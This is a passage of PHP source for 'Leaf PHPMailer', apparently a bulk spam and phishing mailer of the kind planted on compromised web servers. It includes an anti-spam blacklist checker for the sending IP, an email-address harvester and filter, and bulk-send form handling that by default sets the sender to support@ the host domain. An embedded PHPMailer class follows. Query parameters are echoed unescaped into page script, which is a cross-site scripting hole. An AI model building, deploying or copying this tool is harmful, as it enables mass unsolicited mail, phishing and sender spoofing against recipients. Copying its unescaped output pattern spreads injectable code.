    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
